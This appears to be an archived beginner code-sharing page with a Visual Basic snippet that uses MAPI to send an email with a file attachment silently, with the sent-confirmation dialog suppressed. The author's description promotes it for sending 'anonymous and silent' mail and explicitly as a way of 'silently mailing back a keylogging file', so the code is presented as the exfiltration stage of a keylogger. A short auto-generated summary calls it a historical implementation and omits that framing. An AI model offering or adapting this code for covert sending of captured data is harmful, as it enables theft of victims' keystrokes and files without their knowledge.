A+ code: send silent e-mails using mapi easily!
This code will teach the beginner how to send anonymous and silent e-mails from within their VB apps. Great for silently mailing back a keylogging file! This is meant for the absolute beginner so don't bother pointng out that it is simple. If you use it there is no need to give me credit but please vote or say you like it!
AI
AI 摘要: This codebase represents a historical implementation of the logic described in the metadata. Our preservation engine analyzes the structure to provide context for modern developers.
源代码
'*********************** 'By littlegreenrussian * '*********************** Private Sub Command1_Click() 'user clicks send On Error GoTo mailerr: 'go to the error handling bit if there is an error MAPISession1.SignOn 'sign on If MAPISession1.SessionID <> 0 Then 'signed on With MAPIMessages1 .SessionID = MAPISession1.SessionID .Compose 'start a new message .AttachmentName = "..." 'attachment name .AttachmentPathName = Text1 ' attachment path (get this from the text box or a default dirrectory) .RecipAddress = Text2 'set the receiver's email to the one they specified (again, text box or a default address) .MsgSubject = "..." 'set the subject .MsgNoteText = "............" 'message text .Send False 'don't display a dialog saying it was sent End With Exit Sub End If mailerr: 'error handling MsgBox "Error " & Err.Description End Sub
原始评论 (3)
从 Wayback Machine 恢复